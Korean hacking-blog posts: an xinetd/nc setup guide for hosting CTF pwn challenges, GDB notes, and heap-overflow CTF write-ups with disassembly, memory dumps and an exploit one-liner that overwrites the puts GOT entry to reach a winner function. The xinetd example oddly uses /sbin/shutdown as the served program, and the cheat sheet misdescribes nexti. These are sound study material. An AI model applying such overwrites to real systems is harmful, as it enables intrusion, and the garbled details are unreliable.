CTF에서 pwnable 문제를 풀 때 nc를 이용해서 문제에 접속하는 경우가 많다. pwn문제에 nc로 문제를 만들고 공개하는 방법에 대해서 알아보고 기록을 한다.

xinetd를 이용해 nc 포트를 열어서 nc로 문제를 공개하는 방법이 있다.


1.xinetd 패키지를 설치한다.

우분투 기준 $apt-get install xinetd를 입력하면 설치할 수 있다.


2. /etc/xinetd.d/서비스이름 으로 파일을 생성한다.

$vi /etc/xinetd.d/서비스이름


3. 그리고 해당 파일에 아래와 같이 설정을 해준다.

service 서비스이름

{

          disable            = no

          flags              = REUSE

          socket_type      = stream # 사용하는 소켓의 종료를 입력한다. stream은 tcp를 뜻함

          protocol          = tcp       

          wait            = no

          user              = SSo # 계정

          server          = /sbin/shutdown  # 서비스할 파일명

}


추가. .py를 실행하는 서버는

server          = /usr/bin/python
server_args     = /home/script.py
위처럼 작성해주면 된다.


4. 서비스설정을 해주었으면 포트를 개방해주는 설정을 하기위해 /etc/service 파일에 설정을 추가해준다.

해당파일의 맨 아래에 # Local services라는 스트링이 있는데 이 아래에 포트 내용을 추가해준다.

# Local services

서비스이름 1234/tcp


5. nc로 접근하면 서비스가 제대로 실행되는 모습을 확인할 수 있다.

$nc localhost 1234


Ref.http://lily.mmu.ac.kr/lecture/08sm/Fedora2/7jang/2.htm

'HACKING > System hacking' 카테고리의 다른 글

pwnable 풀 때 objdump  (0) 2018.02.25
GOT Overwrite  (0) 2018.02.24
GDB BP에 관한 것  (0) 2017.11.29
heapoverflow 문제 풀이3  (0) 2016.11.05
heap overflow 문제풀이2  (0) 2016.11.02

시스템 문제를 풀다가 알게된 것


GDB에서 b *main과 b main의 차이점

1. b *main은 main함수가 시작하기 직전의 위치


2. b main 은 main함수의 내부 스택프레임이 모두 형성되고 나서 함수에 쓰기위한 지역변수들의 자리를 확보하기 바로 "직전"의 위치


'HACKING > System hacking' 카테고리의 다른 글

GOT Overwrite  (0) 2018.02.24
CTF pwn 문제용 nc 서버 만들기  (0) 2018.02.15
heapoverflow 문제 풀이3  (0) 2016.11.05
heap overflow 문제풀이2  (0) 2016.11.02
heap overflow 문제 풀이  (0) 2016.11.01

문제 소스코드입니다.

어셈블리어와 익숙해지기 위해 gdb로 모든 코드를 분석 해 보았습니다.

분석을 토대로 중요한 부분만 캡쳐해서 올리겠습니다.


두번째 if문을 보겠습니다.

0x0804865b <+64>: push 0x5 0x0804865d <+66>: push 0x804880d 0x08048662 <+71>: lea eax,[ebp-0x80] 0x08048665 <+74>: push eax 0x08048666 <+75>: call 0x8048510 0x0804866b <+80>: add esp,0xc 0x0804866e <+83>: test eax,eax 0x08048670 <+85>: jne 0x80486be <main+163> 0x08048672 <+87>: push 0x4 0x08048674 <+89>: call 0x80484a0 <malloc@plt> 0x08048679 <+94>: add esp,0x4 0x0804867c <+97>: mov ds:0x804a068,eax 0x08048681 <+102>: mov eax,ds:0x804a068 0x08048686 <+107>: push 0x4 0x08048688 <+109>: push 0x0 0x0804868a <+111>: push eax 0x0804868b <+112>: call 0x8048500 <memset@plt> 0x08048690 <+117>: add esp,0xc 0x08048693 <+120>: lea eax,[ebp-0x80] 0x08048696 <+123>: add eax,0x5 0x08048699 <+126>: push eax 0x0804869a <+127>: call 0x80484e0 <strlen@plt> 0x0804869f <+132>: add esp,0x4 0x080486a2 <+135>: cmp eax,0x1e 0x080486a5 <+138>: ja 0x80486be <main+163> 0x080486a7 <+140>: mov eax,ds:0x804a068 0x080486ac <+145>: mov edx,eax 0x080486ae <+147>: lea eax,[ebp-0x80] 0x080486b1 <+150>: add eax,0x5 0x080486b4 <+153>: push eax 0x080486b5 <+154>: push edx 0x080486b6 <+155>: call 0x8048490 <strcpy@plt>

$ebp-0x80은 line[128]의 시작주소를 가리킵니다.

main+140 에서 0x804a068은 auth->name의 주소가 들어갑니다.

그리고 네번째 if문을 보면

0x080486e0 <+197>: add esp,0x4 0x080486e3 <+200>: push 0x6 0x080486e5 <+202>: push 0x8048819 0x080486ea <+207>: lea eax,[ebp-0x80] 0x080486ed <+210>: push eax 0x080486ee <+211>: call 0x8048510 <strncmp@plt> 0x080486f3 <+216>: add esp,0xc 0x080486f6 <+219>: test eax,eax 0x080486f8 <+221>: jne 0x804870e <main+243> 0x080486fa <+223>: lea eax,[ebp-0x80] 0x080486fd <+226>: add eax,0x7 0x08048700 <+229>: push eax 0x08048701 <+230>: call 0x8048470 <strdup@plt> 0x08048706 <+235>: add esp,0x4 0x08048709 <+238>: mov ds:0x804a06c,eax

입력된 $ebp-0x80에서 "service" 문자열 다음에 들어오는 값들을 strdup함수를 통해 포인터로 할당해줍니다. 그 값은 0x804a06c에 들어갑니다.

그리고 마지막 if문에서 else로 가지 않고 if조건을 만족시키는 방법을 보겠습니다.

0x0804870e <+243>: push 0x5 0x08048710 <+245>: push 0x8048821 0x08048715 <+250>: lea eax,[ebp-0x80] 0x08048718 <+253>: push eax 0x08048719 <+254>: call 0x8048510 <strncmp@plt> 0x0804871e <+259>: add esp,0xc 0x08048721 <+262>: test eax,eax 0x08048723 <+264>: jne 0x804875a <main+319> 0x08048725 <+266>: mov eax,ds:0x804a068 0x0804872a <+271>: mov eax,DWORD PTR [eax+0x20] 0x0804872d <+274>: test eax,eax 0x0804872f <+276>: je 0x804874d <main+306> 0x08048731 <+278>: push 0x8048827 0x08048736 <+283>: call 0x80484b0 <puts@plt> 0x0804873b <+288>: add esp,0x4 0x0804873e <+291>: push 0x8048843 0x08048743 <+296>: call 0x80484c0 <system@plt>

main+266을 보면  0x804a068의 값을 $eax에 넣습니다.

(gdb) x/4x 0x804a068
0x804a068 :	0x0804b008	0x0804b018	0x00000000	0x00000000

즉 $eax에는 0x804b008이 들어가게 되고 auth->auth 값이 있냐 없냐에 따라 분기문을 통해 결과가 나옵니다.

$eax+0x20은 0x804b028입니다. 이곳에 값을 넣어 주면 문제가 클리어 됩니다.

(gdb) x/10x 0x804b008
0x804b008:	0x41414141	0x0000000a	0x00000000	0x00000019
0x804b018:	0x41414120	0x41414141	0x41414141	0x41414141
0x804b028:	0x00000a41	0x00020fd9

strdup에 의해 생성되는 service 영역은 0x804b018부터입니다. 파일을 실행하고 input할때 service에서 더미값을 최소 16개를 주면 auth->auth에 값이 오버플로우가 됩니다.


'HACKING > System hacking' 카테고리의 다른 글

CTF pwn 문제용 nc 서버 만들기  (0) 2018.02.15
GDB BP에 관한 것  (0) 2017.11.29
heap overflow 문제풀이2  (0) 2016.11.02
heap overflow 문제 풀이  (0) 2016.11.01
BOF 원리와 문제 풀이  (0) 2016.10.26

문제 소스코드입니다. heap영역을 오버플로우 해서 winner 함수를 실행 시키면 될 것 같습니다.

gdb로 분석해보겠습니다.

(gdb) b*main+139
Breakpoint 1 at 0x80485c0
(gdb) r AAAAAAAA BBBBBBBB
Starting program: /home/heapgot/heapgot AAAAAAAA BBBBBBBB

Breakpoint 1, 0x080485c0 in main ()

argv1에 A 8개와 argv2에 B 8개를 인자로 입력하고 gdb를 돌려보겠습니다.

0x0804853b <+6>: push 0x8 i1 = malloc(8) 0x0804853d <+8>: call 0x80483c0 <malloc@plt> 0x08048542 <+13>: add esp,0x4 0x08048545 <+16>: mov DWORD PTR [ebp-0x4],eax 0x08048548 <+19>: mov eax,DWORD PTR [ebp-0x4] 0x0804854b <+22>: mov DWORD PTR [eax],0x1 //priority = 1 0x08048551 <+28>: push 0x8 0x08048553 <+30>: call 0x80483c0 <malloc@plt> //name = malloc(8) 0x08048558 <+35>: add esp,0x4 0x0804855b <+38>: mov edx,eax 0x0804855d <+40>: mov eax,DWORD PTR [ebp-0x4] 0x08048560 <+43>: mov DWORD PTR [eax+0x4],edx //i1 -> name ;-------------------------------------------------------------------------------------------- 0x08048563 <+46>: push 0x8 0x08048565 <+48>: call 0x80483c0 <malloc@plt> //i2 = malloc(8) 0x0804856a <+53>: add esp,0x4 0x0804856d <+56>: mov DWORD PTR [ebp-0x8],eax 0x08048570 <+59>: mov eax,DWORD PTR [ebp-0x8] 0x08048573 <+62>: mov DWORD PTR [eax],0x2 //priority = 2 0x08048579 <+68>: push 0x8 0x0804857b <+70>: call 0x80483c0 <malloc@plt> //name = malloc(8) 0x08048580 <+75>: add esp,0x4 0x08048583 <+78>: mov edx,eax 0x08048585 <+80>: mov eax,DWORD PTR [ebp-0x8] 0x08048588 <+83>: mov DWORD PTR [eax+0x4],edx //i2 -> name

priority의 주소는 main+22에 브레이크 포인트를 걸고 (gdb) i r $eax 를 하면 나옵니다.

아래는 두개의 strcpy() 함수에 대한 부분입니다.

0x08048596 <+97>: mov eax,DWORD PTR [eax+0x4] 0x08048599 <+100>: push edx 0x0804859a <+101>: push eax 0x0804859b <+102>: call 0x80483b0 <strcpy@plt> 0x080485a0 <+107>: add esp,0x8 0x080485a3 <+110>: mov eax,DWORD PTR [ebp+0xc] 0x080485a6 <+113>: add eax,0x8 0x080485a9 <+116>: mov edx,DWORD PTR [eax] 0x080485ab <+118>: mov eax,DWORD PTR [ebp-0x8] 0x080485ae <+121>: mov eax,DWORD PTR [eax+0x4] 0x080485b1 <+124>: push edx 0x080485b2 <+125>: push eax 0x080485b3 <+126>: call 0x80483b0 <strcpy@plt>

마지막으로 코드 마지막의 puts 함수입니다.

0x080485bb <+134>:	push   0x8048674
0x080485c0 <+139>:	call   0x80483d0 <puts@plt>

AAAAAAAA BBBBBBBB 을 인자로 입력한 후 메모리를 살펴보겠습니다. 

(gdb) x/20x 0x804b008 0x804b008: 0x00000001 0x0804b018 0x00000000 0x00000011 0x804b018: 0x41414141 0x41414141 0x00000000 0x00000011 0x804b028: 0x00000002 0x0804b038 0x00000000 0x00000011 0x804b038: 0x42424242 0x42424242 0x00000000 0x00020fc1 0x804b048: 0x00000000 0x00000000 0x00000000 0x00000000

0x804b18에 argv1이 들어갔습니다. 그리고 0x804b38에 argv2가 들어갔습니다.

그리고 위에 0x803b008에서 priority값인 1과 다음 4바이트에 argv1이 들어갈 주소가 있습니다. 마찬가지로 0x803b28도 priority값인 2와 argv2의 주소가 있습니다.

공격 벡터를 찾았습니다. strcpy함수를 이용해서 이 부분을 공격해야합니다.

익스플로잇은 argv1에 임의의 값인 A를 20바이트를 넣어서 0x804b28까지 채웁니다.

그리고 0x804b02c에는 puts 함수의 got를 넣어야 합니다. puts 함수의 got는 아래와 같이 구할 수 있습니다.

(gdb) x/i 0x80483d0
  0x80483d0 :	jmp    DWORD PTR ds:0x804a01c
(gdb) x/x 0x804a01c
0x804a01c <puts@got.plt>:	0x080483d6

그리고 argv2에는 winner 함수의 주소를 넣어줍니다. 

(gdb) p winner $2 = {<text variable, no debug info>} 0x804850b <winner>

따라서 공격 코드는 ./heapgot `python -c 'print "A"*20+"\x1c\xa0\x04\x08"+" "+"\x0b\x85\x04\x08"'`

문제가 풀릴줄 알고 코드를 입력했는데 winner함수는 실행이 되지만 segment fault가 뜨면서 cat flag는 실행하지 못합니다.

어떤 문제가 있을까 찾다가 우연히 얻어걸린 코드가 아래와 같습니다.

./heapgot `python -c 'print "A"*20+"\x1c\xa0\x04\x08"+" "+"\x0b\x85\x04\x08\xe6\x83\x04\x08"'`

추가로 system 함수의 got를 적어주면 system 함수의 "cat flag" 명령을 성공적으로 수행합니다.


'HACKING > System hacking' 카테고리의 다른 글

GDB BP에 관한 것  (0) 2017.11.29
heapoverflow 문제 풀이3  (0) 2016.11.05
heap overflow 문제 풀이  (0) 2016.11.01
BOF 원리와 문제 풀이  (0) 2016.10.26
gdb 기본 명령어  (0) 2016.07.28

gdb의 기본적인 명령어 입니다.


 순번

명령어 

설명 

1 

gdb 파일명 

해당 파일을 gdb로 열기 

2 

list = ("l")

gcc 컴파일 시 -ggdb 옵션을 지정한 경우 소스 확인 가능 

3 

disas 주소/함수 

해당 함수를 디스어셈블해 실행 

4 

run = (r)

해당 파일을 실행 

5 

continue = ("c")

브레이크가 걸린 상태에서 계속 실행 

6 

break 주소/함수명 

주소나 함수에 브레이크 포인트를 걸기 

7 

x/32x 주소

주소에서 32개를 16진수로 출력(x/32s는 문자열) 

8  

info registers = ("i r")

레지스터의 값을 출력 

9 

nexti = ("n i")

함수 내부로 들어가면서 한 라인 실행 

10 

stepi = ("s i")

함수 내부로 들어가면서 한 라인 실행 

11 

help 

도움말 출력 

12 

backtrace 

프로그램 실행의 스택 추적 결과 출력 

13 

quit

종료


*7번 자세히..

- x/"범위""출력형식""범위의단위" "메모리주소 또는 함수명"

- 출력형식 : x (16진수), s (문자열), I (명령어)

- 범위의단위 : b (1byte), h(2byte), w(4byte), g(8byte)

 

*실행예제

ex) x/20wx $esp : esp가 가리키는 메모리부터 높은 주소쪽으로 4byte 씩 20개 출력

+ Recent posts